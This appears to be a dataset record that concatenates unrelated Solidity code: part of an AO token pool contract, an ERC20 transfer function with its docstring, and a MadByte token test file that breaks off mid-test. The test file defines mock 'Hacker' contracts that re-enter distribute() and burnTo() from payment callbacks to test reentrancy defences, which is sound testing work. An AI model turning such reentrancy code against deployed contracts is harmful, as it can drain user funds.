_pool.sellCapAmount = _sellCapAmount;
}
_pool.quantityCapStatus = _quantityCapStatus;
if (_quantityCapStatus) {
_pool.quantityCapAmount = _quantityCapAmount;
}
_pool.erc20CounterAsset = _erc20CounterAsset;
if (_erc20CounterAsset) {
_pool.erc20TokenAddress = _erc20TokenAddress;
_pool.erc20TokenMultiplier = _erc20TokenMultiplier;
}
_pool.adminAddress = msg.sender;
emit CreatePool(totalPool, _pool.adminAddress, _pool.price, _pool.status, _pool.sellCapStatus, _pool.sellCapAmount, _pool.quantityCapStatus, _pool.quantityCapAmount, _pool.erc20CounterAsset, _pool.erc20TokenAddress, _pool.erc20TokenMultiplier);
}
/***** Pool's Admin Only Methods *****/
/**
* @dev Start/Stop a Pool
* @param _poolId The ID of the Pool
* @param _status The status to set. true = start. false = stop
*/
function updatePoolStatus(uint256 _poolId, bool _status) public {
// Check pool existence by requiring price > 0
require (pools[_poolId].price > 0 && (pools[_poolId].adminAddress == msg.sender || AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)));
pools[_poolId].status = _status;
emit UpdatePoolStatus(_poolId, _status);
}
/**
* @dev Change Admin Address
* @param _poolId The ID of the Pool
* @param _adminAddress The new admin address to set
*/
function changeAdminAddress(uint256 _poolId, address _adminAddress) public {
// Check pool existence by requiring price > 0
require (pools[_poolId].price > 0 && (pools[_poolId].adminAddress == msg.sender || AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)));
require (_adminAddress != address(0));
pools[_poolId].adminAddress = _adminAddress;
emit ChangeAdminAddress(_poolId, _adminAddress);
}
/***** Public Methods *****/
/**
* @dev Seller sells AO in Pool `_poolId` - create a Lot to be added to a Pool for a seller.
* @param _poolId The ID of the Pool
* @param _quantity The amount of AO to be sold
* @param _price The price supplied by seller
*/
function sell(uint256 _poolId, uint256 _quantity, uint256 _price) public {
Pool memory _pool = pools[_poolId];
require (_pool.status == true && _pool.price == _price && _quantity > 0 && _aoIon.balanceOf(msg.sender) >= _quantity);
// If there is a sell cap
if (_pool.sellCapStatus == true) {
require (poolTotalSell[_poolId].add(_quantity) <= _pool.sellCapAmount);
}
// If there is a quantity cap
if (_pool.quantityCapStatus == true) {
require (poolTotalQuantity[_poolId].add(_quantity) <= _pool.quantityCapAmount);
}
// Create Lot for this sell transaction
contractTotalLot++;
poolTotalLot[_poolId]++;
// Generate Lot ID
bytes32 _lotId = keccak256(abi.encodePacked(this, msg.sender, contractTotalLot));
Lot storage _lot = lots[_lotId];
_lot.lotId = _lotId;
_lot.seller = msg.sender;
_lot.lotQuantity = _quantity;
_lot.poolId = _poolId;
_lot.poolPreSellSnapshot = poolTotalSell[_poolId];
_lot.poolSellLotSnapshot = poolTotalSell[_poolId].add(_quantity);
_lot.lotValueInCounterAsset = _quantity.mul(_pool.price);
_lot.timestamp = now;
poolLotInternalIdLookup[_poolId][_lotId] = poolTotalLot[_poolId];
ownerLots[msg.sender].push(_lotId);
// Update contract variables
poolTotalQuantity[_poolId] = poolTotalQuantity[_poolId].add(_quantity);
poolTotalSell[_poolId] = poolTotalSell[_poolId].add(_quantity);
totalPutOnSale[msg.sender] = totalPutOnSale[msg.sender].add(_quantity);
contractTotalQuantity = contractTotalQuantity.add(_quantity);
contractTotalSell = contractTotalSell.add(_quantity);
require (_aoIon.whitelistTransferFrom(msg.sender, address(this), _quantity));
emit LotCreation(_lot.poolId, _lot.lotId, _lot.seller, _lot.lotQuantity, _pool.price, _lot.poolPreSellSnapshot, _lot.poolSellLotSnapshot, _lot.lotValueInCounterAsset, _pool.erc20CounterAsset, _lot.timestamp);
}
/**
* @dev Retrieve number of Lots an `_account` has
* @param _account The address of the Lot's owner
* @return Total Lots the owner has
*/
function ownerTotalLot(address _account) public view returns (uint256) {
return ownerLots[_account].length;
}
/**
* @dev Get list of owner's Lot IDs from `_from` to `_to` index
* @param _account The address of the Lot's owner
* @param _from The starting index, (i.e 0)
* @param _to The ending index, (i.e total - 1)
* @return list of owner's Lot IDs
*/
function ownerLotIds(address _account, uint256 _from, uint256 _to) public view returns (bytes32[] memory) {
require (_from >= 0 && _to >= _from && ownerLots[_account].length > _to);
bytes32[] memory _lotIds = new bytes32[](_to.sub(_from).add(1));
for (uint256 i = _from; i <= _to; i++) {
_lotIds[i.sub(_from)] = ownerLots[_account][i];
}
return _lotIds;
}
/**
* @dev Buyer buys AO from Pool `_poolId` with Ethereum
* @param _poolId The ID of the Pool
* @param _quantity The amount of AO to be bought
* @param _price The price supplied by buyer
*/
function buyWithEth(uint256 _poolId, uint256 _quantity, uint256 _price) public payable {
Pool memory _pool = pools[_poolId];
require (_pool.status == true && _pool.price == _price && _pool.erc20CounterAsset == false);
require (_quantity > 0 && _quantity <= poolTotalQuantity[_poolId]);
require (msg.value > 0 && msg.value.div(_pool.price) == _quantity);
// Update contract variables
poolTotalQuantity[_poolId] = poolTotalQuantity[_poolId].sub(_quantity);
poolTotalBuy[_poolId] = poolTotalBuy[_poolId].add(_quantity);
poolEthereumBalance[_poolId] = poolEthereumBalance[_poolId].add(msg.value);
contractTotalQuantity = contractTotalQuantity.sub(_quantity);
contractTotalBuy = contractTotalBuy.add(_quantity);
contractEthereumBalance = contractEthereumBalance.add(msg.value);
totalBought[msg.sender] = totalBought[msg.sender].add(_quantity);
require (_aoIon.whitelistTransferFrom(address(this), msg.sender, _quantity));
emit BuyWithEth(_poolId, msg.sender, _quantity, _price, poolTotalBuy[_poolId]);
}
/**
* @dev Seller withdraw Ethereum from Lot `_lotId`
* @param _lotId The ID of the Lot
*/
function withdrawEth(bytes32 _lotId) public {
Lot storage _lot = lots[_lotId];
require (_lot.seller == msg.sender && _lot.lotValueInCounterAsset > 0);
(uint256 soldQuantity, uint256 ethAvailableToWithdraw,) = lotEthAvailableToWithdraw(_lotId);
require (ethAvailableToWithdraw > 0 && ethAvailableToWithdraw <= _lot.lotValueInCounterAsset && ethAvailableToWithdraw <= poolEthereumBalance[_lot.poolId] && ethAvailableToWithdraw <= contractEthereumBalance && soldQuantity <= _lot.lotQuantity.sub(_lot.ionWithdrawn));
// Update lot variables
_lot.counterAssetWithdrawn = _lot.counterAssetWithdrawn.add(ethAvailableToWithdraw);
_lot.lotValueInCounterAsset = _lot.lotValueInCounterAsset.sub(ethAvailableToWithdraw);
// Update contract variables
poolEthereumBalance[_lot.poolId] = poolEthereumBalance[_lot.poolId].sub(ethAvailableToWithdraw);
poolTotalEthereumWithdrawn[_lot.poolId] = poolTotalEthereumWithdrawn[_lot.poolId].add(ethAvailableToWithdraw);
contractEthereumBalance = contractEthereumBalance.sub(ethAvailableToWithdraw);
contractTotalEthereumWithdrawn = contractTotalEthereumWithdrawn.add(ethAvailableToWithdraw);
totalSold[msg.sender] = totalSold[msg.sender].add(soldQuantity);
totalEthereumWithdrawn[msg.sender] = totalEthereumWithdrawn[msg.sender].add(ethAvailableToWithdraw);
// Send eth to seller
address(uint160(_lot.seller)).transfer(ethAvailableToWithdraw);
//_lot.seller.transfer(ethAvailableToWithdraw);
emit WithdrawEth(_lot.seller, _lot.lotId, _lot.poolId, ethAvailableToWithdraw, _lot.lotValueInCounterAsset, _lot.counterAssetWithdrawn);
}
/**
* @dev Seller gets Lot `_lotId` (priced in ETH) available to withdraw info
* @param _lotId The ID of the Lot
* @return The amount of ion sold
* @return Ethereum available to withdraw from the Lot
* @return Current Ethereum withdrawn from the Lot
*/
function lotEthAvailableToWithdraw(bytes32 _lotId) public view returns (uint256, uint256, uint256) {
Lot memory _lot = lots[_lotId];
require (_lot.seller != address(0));
Pool memory _pool = pools[_lot.poolId];
require (_pool.erc20CounterAsset == false);
uint256 soldQuantity = 0;
uint256 ethAvailableToWithdraw = 0;
// Check whether or not there are ions withdrawn from Lots before this Lot
uint256 lotAdjustment = totalIonWithdrawnBeforeLot(_lotId);
if (poolTotalBuy[_lot.poolId] > _lot.poolPreSellSnapshot.sub(lotAdjustment) && _lot.lotValueInCounterAsset > 0) {
soldQuantity = (poolTotalBuy[_lot.poolId] >= _lot.poolSellLotSnapshot.sub(lotAdjustment)) ? _lot.lotQuantity : poolTotalBuy[_lot.poolId].sub(_lot.poolPreSellSnapshot.sub(lotAdjustment));
if (soldQuantity > 0) {
if (soldQuantity > _lot.ionWithdrawn) {
soldQuantity = soldQuantity.sub(_lot.ionWithdrawn);
}
soldQuantity = soldQuantity.sub(_lot.counterAssetWithdrawn.div(_pool.price));
ethAvailableToWithdraw = soldQuantity.mul(_pool.price);
assert (soldQuantity <= _lot.lotValueInCounterAsset.div(_pool.price));
assert (soldQuantity.add(_lot.ionWithdrawn) <= _lot.lotQuantity);
assert (ethAvailableToWithdraw <= _lot.lotValueInCounterAsset);
}
}
return (soldQuantity, ethAvailableToWithdraw, _lot.counterAssetWithdrawn);
}
/**
* @dev Seller withdraw ion from Lot `_lotId`
* @param _lotId The ID of the Lot
* @param _quantity The amount of ion to withdraw
*/
function withdrawIon(bytes32 _lotId, uint256 _quantity) public {
Lot storage _lot = lots[_lotId];
require (_lot.seller == msg.sender && _lot.lotValueInCounterAsset > 0);
Pool memory _pool = pools[_lot.poolId];
require (_quantity > 0 && _quantity <= _lot.lotValueInCounterAsset.div(_pool.price));
// Update lot variables
_lot.ionWithdrawn = _lot.ionWithdrawn.add(_quantity);
_lot.lotValueInCounterAsset = _lot.lotValueInCounterAsset.sub(_quantity.mul(_pool.price));
poolLotIonWithdrawn[_lot.poolId][poolLotInternalIdLookup[_lot.poolId][_lotId]] = poolLotIonWithdrawn[_lot.poolId][poolLotInternalIdLookup[_lot.poolId][_lotId]].add(_quantity);
// Store Pool's millionth Lot snapshot
uint256 millionth = poolLotInternalIdLookup[_lot.poolId][_lotId].div(1000000);
if (poolLotInternalIdLookup[_lot.poolId][_lotId].sub(millionth.mul(1000000)) != 0) {
millionth++;
}
poolMillionthLotIonWithdrawnSnapshot[_lot.poolId][millionth] = poolMillionthLotIonWithdrawnSnapshot[_lot.poolId][millionth].add(_quantity);
// Store Pool's hundred thousandth Lot snapshot
uint256 hundredThousandth = poolLotInternalIdLookup[_lot.poolId][_lotId].div(100000);
if (poolLotInternalIdLookup[_lot.poolId][_lotId].sub(hundredThousandth.mul(100000)) != 0) {
hundredThousandth++;
}
poolHundredThousandthLotIonWithdrawnSnapshot[_lot.poolId][hundredThousandth] = poolHundredThousandthLotIonWithdrawnSnapshot[_lot.poolId][hundredThousandth].add(_quantity);
// Store Pool's ten thousandth Lot snapshot
uint256 tenThousandth = poolLotInternalIdLookup[_lot.poolId][_lotId].div(10000);
if (poolLotInternalIdLookup[_lot.poolId][_lotId].sub(tenThousandth.mul(10000)) != 0) {
tenThousandth++;
}
poolTenThousandthLotIonWithdrawnSnapshot[_lot.poolId][tenThousandth] = poolTenThousandthLotIonWithdrawnSnapshot[_lot.poolId][tenThousandth].add(_quantity);
// Store Pool's thousandth Lot snapshot
uint256 thousandth = poolLotInternalIdLookup[_lot.poolId][_lotId].div(1000);
if (poolLotInternalIdLookup[_lot.poolId][_lotId].sub(thousandth.mul(1000)) != 0) {
thousandth++;
}
poolThousandthLotIonWithdrawnSnapshot[_lot.poolId][thousandth] = poolThousandthLotIonWithdrawnSnapshot[_lot.poolId][thousandth].add(_quantity);
// Store Pool's hundredth Lot snapshot
uint256 hundredth = poolLotInternalIdLookup[_lot.poolId][_lotId].div(100);
if (poolLotInternalIdLookup[_lot.poolId][_lotId].sub(hundredth.mul(100)) != 0) {
hundredth++;
}
poolHundredthLotIonWithdrawnSnapshot[_lot.poolId][hundredth] = poolHundredthLotIonWithdrawnSnapshot[_lot.poolId][hundredth].add(_quantity);
// Store Pool's tenth Lot snapshot
uint256 tenth = poolLotInternalIdLookup[_lot.poolId][_lotId].div(10);
if (poolLotInternalIdLookup[_lot.poolId][_lotId].sub(tenth.mul(10)) != 0) {
tenth++;
}
poolTenthLotIonWithdrawnSnapshot[_lot.poolId][tenth] = poolTenthLotIonWithdrawnSnapshot[_lot.poolId][tenth].add(_quantity);
// Update contract variables
poolTotalQuantity[_lot.poolId] = poolTotalQuantity[_lot.poolId].sub(_quantity);
contractTotalQuantity = contractTotalQuantity.sub(_quantity);
poolTotalWithdrawn[_lot.poolId] = poolTotalWithdrawn[_lot.poolId].add(_quantity);
contractTotalWithdrawn = contractTotalWithdrawn.add(_quantity);
totalPutOnSale[msg.sender] = totalPutOnSale[msg.sender].sub(_quantity);
assert (_lot.ionWithdrawn.add(_lot.lotValueInCounterAsset.div(_pool.price)).add(_lot.counterAssetWithdrawn.div(_pool.price)) == _lot.lotQuantity);
require (_aoIon.whitelistTransferFrom(address(this), msg.sender, _quantity));
emit WithdrawIon(_lot.seller, _lot.lotId, _lot.poolId, _quantity, _lot.lotValueInCounterAsset, _lot.ionWithdrawn);
}
/**
* @dev Get total ion withdrawn from all Lots before Lot `_lotId`
* @param _lotId The ID of the Lot
* @return Total ion withdrawn from all Lots before Lot `_lotId`
*/
function totalIonWithdrawnBeforeLot(bytes32 _lotId) public view returns (uint256) {
Lot memory _lot = lots[_lotId];
require (_lot.seller != address(0) && poolLotInternalIdLookup[_lot.poolId][_lotId] > 0);
uint256 totalIonWithdrawn = 0;
uint256 lotInternalId = poolLotInternalIdLookup[_lot.poolId][_lotId];
uint256 lowerBound = 0;
uint256 millionth = lotInternalId.div(1000000);
if (millionth > 0) {
for (uint256 i=1; i<=millionth; i++) {
if (poolMillionthLotIonWithdrawnSnapshot[_lot.poolId][i] > 0) {
totalIonWithdrawn = totalIonWithdrawn.add(poolMillionthLotIonWithdrawnSnapshot[_lot.poolId][i]);
}
}
lowerBound = millionth.mul(1000000);
if (lowerBound == lotInternalId) {
totalIonWithdrawn = totalIonWithdrawn.sub(poolLotIonWithdrawn[_lot.poolId][lotInternalId]);
return totalIonWithdrawn;
} else {
lowerBound = lowerBound.div(100000);
}
}
uint256 hundredThousandth = lotInternalId.div(100000);
if (hundredThousandth > 0) {
for (uint256 i=lowerBound.add(1); i<=hundredThousandth; i++) {
if (poolHundredThousandthLotIonWithdrawnSnapshot[_lot.poolId][i] > 0) {
totalIonWithdrawn = totalIonWithdrawn.add(poolHundredThousandthLotIonWithdrawnSnapshot[_lot.poolId][i]);
}
}
lowerBound = hundredThousandth.mul(100000);
if (lowerBound == lotInternalId) {
totalIonWithdrawn = totalIonWithdrawn.sub(poolLotIonWithdrawn[_lot.poolId][lotInternalId]);
return totalIonWithdrawn;
} else {
lowerBound = lowerBound.div(10000);
}
}
uint256 tenThousandth = lotInternalId.div(10000);
if (tenThousandth > 0) {
for (uint256 i=lowerBound.add(1); i<=tenThousandth; i++) {
if (poolTenThousandthLotIonWithdrawnSnapshot[_lot.poolId][i] > 0) {
totalIonWithdrawn = totalIonWithdrawn.add(poolTenThousandthLotIonWithdrawnSnapshot[_lot.poolId][i]);
}
}
lowerBound = tenThousandth.mul(10000);
if (lowerBound == lotInternalId) {
totalIonWithdrawn = totalIonWithdrawn.sub(poolLotIonWithdrawn[_lot.poolId][lotInternalId]);
return totalIonWithdrawn;
} else {
lowerBound = lowerBound.div(1000);
}
}
uint256 thousandth = lotInternalId.div(1000);
if (thousandth > 0) {
for (uint256 i=lowerBound.add(1); i<=thousandth; i++) {
if (poolThousandthLotIonWithdrawnSnapshot[_lot.poolId][i] > 0) {
totalIonWithdrawn = totalIonWithdrawn.add(poolThousandthLotIonWithdrawnSnapshot[_lot.poolId][i]);
}
}
lowerBound = thousandth.mul(1000);
if (lowerBound == lotInternalId) {
totalIonWithdrawn = totalIonWithdrawn.sub(poolLotIonWithdrawn[_lot.poolId][lotInternalId]);
return totalIonWithdrawn;
} else {
lowerBound = lowerBound.div(100);
}
}
uint256 hundredth = lotInternalId.div(100);
if (hundredth > 0) {
for (uint256 i=lowerBound.add(1); i<=hundredth; i++) {
if (poolHundredthLotIonWithdrawnSnapshot[_lot.poolId][i] > 0) {
totalIonWithdrawn = totalIonWithdrawn.add(poolHundredthLotIonWithdrawnSnapshot[_lot.poolId][i]);
}
}
lowerBound = hundredth.mul(100);
if (lowerBound == lotInternalId) {
totalIonWithdrawn = totalIonWithdrawn.sub(poolLotIonWithdrawn[_lot.poolId][lotInternalId]);
return totalIonWithdrawn;
} else {
lowerBound = lowerBound.div(10);
}
}
uint256 tenth = lotInternalId.div(10);
if (tenth > 0) {
for (uint256 i=lowerBound.add(1); i<=tenth; i++) {
if (poolTenthLotIonWithdrawnSnapshot[_lot.poolId][i] > 0) {
totalIonWithdrawn = totalIonWithdrawn.add(poolTenthLotIonWithdrawnSnapshot[_lot.poolId][i]);
}
}
lowerBound = tenth.mul(10);
if (lowerBound == lotInternalId) {
totalIonWithdrawn = totalIonWithdrawn.sub(poolLotIonWithdrawn[_lot.poolId][lotInternalId]);
return totalIonWithdrawn;
}
}
for (uint256 i=lowerBound.add(1); i<lotInternalId; i++) {
if (poolLotIonWithdrawn[_lot.poolId][i] > 0) {
totalIonWithdrawn = totalIonWithdrawn.add(poolLotIonWithdrawn[_lot.poolId][i]);
}
}
return totalIonWithdrawn;
}
}
|
Transfer tokens Send `_value` tokens to `_to` from your account _to The address of the recipient _value the amount to send/
|
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
| 985,458 |
// SPDX-License-Identifier: MIT-open-group
pragma solidity ^0.8.0;
import "ds-test/test.sol";
import "./MadByte.sol";
import "./Sigmoid.sol";
abstract contract BaseMock {
MadByte public token;
function setToken(MadByte _token) public {
token = _token;
}
function transfer(address recipient, uint256 amount) public virtual returns(bool){
return token.transfer(recipient, amount);
}
function burn(uint256 amount) public returns (uint256) {
return token.burn(amount, 0);
}
function approve(address who, uint256 amount) public returns (bool) {
return token.approve(who, amount);
}
function mint(uint256 minMB) payable public returns(uint256) {
return token.mint{value: msg.value}(minMB);
}
receive() external virtual payable{}
}
contract AdminAccount is BaseMock {
constructor() {}
function setMinerStaking(address addr) public {
token.setMinerStaking(addr);
}
function setMadStaking(address addr) public {
token.setMadStaking(addr);
}
function setFoundation(address addr) public {
token.setFoundation(addr);
}
function setMinerSplit(uint256 split) public {
token.setMinerSplit(split);
}
}
contract MadStakingAccount is BaseMock, IMagicEthTransfer, MagicValue {
constructor() {}
function depositEth(uint8 magic_) override external payable checkMagic(magic_) {
}
}
contract MinerStakingAccount is BaseMock, IMagicEthTransfer, MagicValue {
constructor() {}
function depositEth(uint8 magic_) override external payable checkMagic(magic_) {
}
}
contract FoundationAccount is BaseMock, IMagicEthTransfer, MagicValue {
constructor() {}
function depositEth(uint8 magic_) override external payable checkMagic(magic_) {
}
}
contract HackerAccountDistributeReEntry is BaseMock, IMagicEthTransfer, MagicValue {
uint256 public _count = 0;
constructor() {}
function doNastyStuff() internal {
if (_count < 5) {
token.distribute();
_count++;
} else {
_count = 0;
}
}
function depositEth(uint8 magic_) override external payable checkMagic(magic_) {
doNastyStuff();
}
}
contract HackerAccountBurnReEntry is BaseMock, DSTest {
uint256 public _count = 0;
constructor() {}
function doNastyStuff() internal {
if (_count < 4) {
_count++;
token.burnTo(address(this), 20_000000000000000000, 0);
} else {
return;
}
}
receive() external override payable{
doNastyStuff();
}
}
contract UserAccount is BaseMock {
constructor() {}
}
contract TokenPure {
MadByte public token;
uint256 public poolBalance;
uint256 public totalSupply;
event log_named_uint(string key, uint256 val);
function log(string memory name, uint256 value) internal{
emit log_named_uint(name, value);
}
constructor() {
AdminAccount admin = new AdminAccount();
MadStakingAccount madStaking = new MadStakingAccount();
MinerStakingAccount minerStaking = new MinerStakingAccount();
FoundationAccount foundation = new FoundationAccount();
token = new MadByte(
address(admin),
address(madStaking),
address(minerStaking),
address(foundation)
);
admin.setToken(token);
madStaking.setToken(token);
minerStaking.setToken(token);
foundation.setToken(token);
}
function mint(uint256 amountETH) public returns(uint256 madBytes){
require(amountETH >= 1, "MadByte: requires at least 4 WEI");
madBytes = token.EthtoMB(poolBalance, amountETH);
poolBalance += amountETH;
totalSupply += madBytes;
}
function burn(uint256 amountMB) public returns (uint256 returnedEth){
require(amountMB != 0, "MadByte: The number of MadBytes to be burn should be greater than 0!");
require(totalSupply>= amountMB, "Underflow: totalSupply < amountMB");
returnedEth = token.MBtoEth(poolBalance, totalSupply, amountMB);
log("TokenPure: poolBalance ", poolBalance);
log("TokenPure: returnedEth ", returnedEth);
require(poolBalance>= returnedEth, "Underflow: poolBalance < returnedEth");
poolBalance -= returnedEth;
log("TokenPure: totalSupply ", totalSupply);
log("TokenPure: amountMB ", amountMB);
totalSupply -= amountMB;
log("TokenPure: totalSupply After", totalSupply);
}
}
contract MadByteTest is DSTest, Sigmoid {
uint256 constant ONE_MB = 1*10**18;
// helper functions
function getFixtureData()
internal
returns(
MadByte token,
AdminAccount admin,
MadStakingAccount madStaking,
MinerStakingAccount minerStaking,
FoundationAccount foundation
)
{
admin = new AdminAccount();
madStaking = new MadStakingAccount();
minerStaking = new MinerStakingAccount();
foundation = new FoundationAccount();
token = new MadByte(
address(admin),
address(madStaking),
address(minerStaking),
address(foundation)
);
assertEq(1*10**token.decimals(), ONE_MB);
admin.setToken(token);
madStaking.setToken(token);
minerStaking.setToken(token);
foundation.setToken(token);
}
function newUserAccount(MadByte token) private returns(UserAccount acct) {
acct = new UserAccount();
acct.setToken(token);
}
// test functions
function testFail_noAdminSetMinerStaking() public {
(MadByte token,,,,) = getFixtureData();
token.setMinerStaking(address(0x0));
}
function testFail_noAdminSetMadStaking() public {
(MadByte token,,,,) = getFixtureData();
token.setMadStaking(address(0x0));
}
function testFail_noAdminSetFoundation() public {
(MadByte token,,,,) = getFixtureData();
token.setFoundation(address(0x0));
}
function testFail_noAdminSetMinerSplit() public {
(MadByte token,,,,) = getFixtureData();
token.setMinerSplit(100);
}
function testAdminSetters() public {
(,AdminAccount admin,,,) = getFixtureData();
admin.setMinerStaking(address(0x0));
admin.setMadStaking(address(0x0));
admin.setFoundation(address(0x0));
admin.setMinerSplit(100); // 100 = 10%, 1000 = 100%
}
function testFail_SettingMinerSplitGreaterThanMadUnitOne() public {
(,AdminAccount admin,,,) = getFixtureData();
admin.setMinerSplit(1000);
}
function testMint() public {
(MadByte token,,,,) = getFixtureData();
uint256 madBytes = token.mint{value: 4 ether}(0);
assertEq(madBytes, 399028731704364116575);
assertEq(token.totalSupply(), madBytes);
assertEq(address(token).balance, 4 ether);
assertEq(token.getPoolBalance(), 1 ether);
uint256 madBytes2 = token.mint{value: 4 ether}(0);
assertEq(madBytes2, 399027176702820751481);
assertEq(token.balanceOf(address(this)), madBytes2 + madBytes);
assertEq(token.totalSupply(), madBytes2 + madBytes);
assertEq(address(token).balance, 8 ether);
assertEq(token.getPoolBalance(), 2 ether);
}
function testMintExpectedBondingCurvePoints() public {
(MadByte token1,,,,) = getFixtureData();
(MadByte token2,,,,) = getFixtureData();
(MadByte token3,,,,) = getFixtureData();
uint256 madBytes = token1.mint{value: 10_000 ether}(0);
assertEq(madBytes, 936764568799449143863271);
assertEq(token1.totalSupply(), madBytes);
assertEq(address(token1).balance, 10_000 ether);
assertEq(token1.getPoolBalance(), 2_500 ether);
// at 20k ether we have a nice rounding value for madbytes generated
madBytes = token1.mint{value: 10_000 ether}(0);
assertEq(madBytes, 1005000000000000000000000 - 936764568799449143863271);
assertEq(token1.totalSupply(), 1005000000000000000000000);
assertEq(address(token1).balance, 20_000 ether);
assertEq(token1.getPoolBalance(), 5_000 ether);
// the only nice value when minting happens when we mint 20k ether
madBytes = token2.mint{value: 20_000 ether}(0);
assertEq(madBytes, 1005000000000000000000000);
assertEq(token2.totalSupply(), madBytes);
assertEq(address(token2).balance, 20_000 ether);
assertEq(token2.getPoolBalance(), 5_000 ether);
madBytes = token3.mint{value: 25_000 ether}(0);
assertEq(madBytes, 1007899288252135716968558);
assertEq(token3.totalSupply(), madBytes);
assertEq(address(token3).balance, 25_000 ether);
assertEq(token3.getPoolBalance(), 6_250 ether);
}
function testMintWithBillionsOfEthereum() public {
( MadByte token, , , , ) = getFixtureData();
assertEq(token.totalSupply(), 0);
assertEq(address(token).balance, 0 ether);
// Investing trillions of US dollars in ethereum
uint256 madBytes = token.mint{value: 70_000_000_000 ether}(0);
assertEq(madBytes, 17501004975246203818081563855);
assertEq(token.totalSupply(), madBytes);
assertEq(token.balanceOf(address(this)), madBytes);
assertEq(address(token).balance, 70_000_000_000 ether);
assertEq(token.getPoolBalance(), 17500000000000000000000000000);
}
function testMintTo() public {
(MadByte token,,,,) = getFixtureData();
UserAccount acct1 = newUserAccount(token);
UserAccount acct2 = newUserAccount(token);
uint256 madBytes = token.mintTo{value: 4 ether}(address(acct1), 0);
assertEq(madBytes, 399028731704364116575);
assertEq(token.balanceOf(address(acct1)), 399028731704364116575);
assertEq(token.totalSupply(), madBytes);
assertEq(address(token).balance, 4 ether);
assertEq(token.getPoolBalance(), 1 ether);
uint256 madBytes2 = token.mintTo{value: 4 ether}(address(acct2), 0);
assertEq(madBytes2, 399027176702820751481);
assertEq(token.balanceOf(address(acct2)), 399027176702820751481);
assertEq(token.totalSupply(), madBytes + madBytes2);
assertEq(address(token).balance, 8 ether);
assertEq(token.getPoolBalance(), 2 ether);
}
function testMintToWithBillionsOfEthereum() public {
( MadByte token, , , , ) = getFixtureData();
UserAccount user = newUserAccount(token);
assertEq(token.totalSupply(), 0);
assertEq(address(token).balance, 0 ether);
assertEq(address(user).balance, 0 ether);
// Investing trillions of US dollars in ethereum
uint256 madBytes = token.mintTo{value: 70_000_000_000 ether}(address(user), 0);
assertEq(madBytes, 17501004975246203818081563855);
assertEq(token.totalSupply(), madBytes);
assertEq(token.balanceOf(address(user)), madBytes);
assertEq(address(token).balance, 70_000_000_000 ether);
assertEq(token.getPoolBalance(), 17500000000000000000000000000);
}
function testFail_MintToZeroAddress() public {
(MadByte token,,,,) = getFixtureData();
UserAccount acct1 = newUserAccount(token);
UserAccount acct2 = newUserAccount(token);
token.mintTo{value: 4 ether}(address(0), 0);
}
function testFail_MintToBigMinMBQuantity() public {
(MadByte token,,,,) = getFixtureData();
UserAccount acct1 = newUserAccount(token);
UserAccount acct2 = newUserAccount(token);
token.mintTo{value: 4 ether}(address(acct1), 900*ONE_MB);
}
function testTransfer() public {
(MadByte token,,,,) = getFixtureData();
UserAccount acct1 = newUserAccount(token);
UserAccount acct2 = newUserAccount(token);
// mint and transfer some tokens to the accounts
uint256 madBytes = token.mint{value: 4 ether}(0);
assertEq(madBytes, 399_028731704364116575);
token.transfer(address(acct1), 2*ONE_MB);
uint256 initialBalance1 = token.balanceOf(address(acct1));
uint256 initialBalance2 = token.balanceOf(address(acct2));
assertEq(initialBalance1, 2*ONE_MB);
assertEq(initialBalance2, 0);
acct1.transfer(address(acct2), ONE_MB);
uint256 finalBalance1 = token.balanceOf(address(acct1));
uint256 finalBalance2 = token.balanceOf(address(acct2));
assertEq(finalBalance1, initialBalance1-ONE_MB);
assertEq(finalBalance2, initialBalance2+ONE_MB);
assertEq(finalBalance1, ONE_MB);
assertEq(finalBalance2, ONE_MB);
}
function testTransferFrom() public {
(MadByte token,,,,) = getFixtureData();
UserAccount acct1 = newUserAccount(token);
UserAccount acct2 = newUserAccount(token);
// mint and transfer some tokens to the accounts
uint256 madBytes = token.mint{value: 4 ether}(0);
assertEq(madBytes, 399_028731704364116575);
token.transfer(address(acct1), 2*ONE_MB);
uint256 initialBalance1 = token.balanceOf(address(acct1));
uint256 initialBalance2 = token.balanceOf(address(acct2));
assertEq(initialBalance1, 2*ONE_MB);
assertEq(initialBalance2, 0);
acct1.approve(address(this), ONE_MB);
token.transferFrom(address(acct1), address(acct2), ONE_MB);
uint256 finalBalance1 = token.balanceOf(address(acct1));
uint256 finalBalance2 = token.balanceOf(address(acct2));
assertEq(finalBalance1, initialBalance1-ONE_MB);
assertEq(finalBalance2, initialBalance2+ONE_MB);
assertEq(finalBalance1, ONE_MB);
assertEq(finalBalance2, ONE_MB);
}
function testFail_TransferFromWithoutAllowance() public {
(MadByte token,,,,) = getFixtureData();
UserAccount acct1 = newUserAccount(token);
UserAccount acct2 = newUserAccount(token);
// mint and transfer some tokens to the accounts
uint256 madBytes = token.mint{value: 4 ether}(0);
assertEq(madBytes, 399_028731704364116575);
token.transfer(address(acct1), 2*ONE_MB);
uint256 initialBalance1 = token.balanceOf(address(acct1));
uint256 initialBalance2 = token.balanceOf(address(acct2));
assertEq(initialBalance1, 2*ONE_MB);
assertEq(initialBalance2, 0);
token.transferFrom(address(acct1), address(acct2), ONE_MB);
uint256 finalBalance1 = token.balanceOf(address(acct1));
uint256 finalBalance2 = token.balanceOf(address(acct2));
assertEq(finalBalance1, initialBalance1-ONE_MB);
assertEq(finalBalance2, initialBalance2+ONE_MB);
assertEq(finalBalance1, ONE_MB);
assertEq(finalBalance2, ONE_MB);
}
function testFail_TransferMoreThanAllowance() public {
(MadByte token,,,,) = getFixtureData();
UserAccount acct1 = newUserAccount(token);
UserAccount acct2 = newUserAccount(token);
// mint and transfer some tokens to the accounts
uint256 madBytes = token.mint{value: 4 ether}(0);
assertEq(madBytes, 399_028731704364116575);
token.transfer(address(acct1), 2*ONE_MB);
uint256 initialBalance1 = token.balanceOf(address(acct1));
uint256 initialBalance2 = token.balanceOf(address(acct2));
assertEq(initialBalance1, 2*ONE_MB);
assertEq(initialBalance2, 0);
acct1.approve(address(this), ONE_MB/2);
token.transferFrom(address(acct1), address(acct2), ONE_MB);
uint256 finalBalance1 = token.balanceOf(address(acct1));
uint256 finalBalance2 = token.balanceOf(address(acct2));
assertEq(finalBalance1, initialBalance1-ONE_MB);
assertEq(finalBalance2, initialBalance2+ONE_MB);
assertEq(finalBalance1, ONE_MB);
assertEq(finalBalance2, ONE_MB);
}
function testDistribute() public {
(
MadByte token,
,
MadStakingAccount madStaking,
MinerStakingAccount minerStaking,
